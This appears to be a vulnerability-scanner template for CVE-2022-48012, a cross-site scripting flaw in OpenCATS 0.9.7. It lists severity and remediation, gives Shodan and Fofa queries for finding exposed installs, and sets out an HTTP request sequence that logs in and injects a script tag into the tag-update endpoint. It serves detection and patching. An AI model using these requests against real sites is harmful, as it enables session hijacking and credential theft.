| Title | OpenCATS 0.9.7 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information. |
| Remediation | To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03793 |
| CVE ID | CVE-2022-48012 |
| CWE ID | CWE-79 |
| Shodan Query | title:"opencats"http.title:"opencats" |
| Fofa Query | title="opencats" |
| Tags | cve cve2022 xss opencats authenticated vuln |
OpenCATS 0.9.7 contains a cross-site scripting vulnerability via the component /opencats/index.php?m=settings&a=ajax_tags_upd. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12
Connection: close
Accept-Encoding: gzip
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=EzL31p&password=2y2GEB
POST /index.php?m=settings&a=ajax_tags_upd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
tag_title=<script>alert(document.domain);</script>
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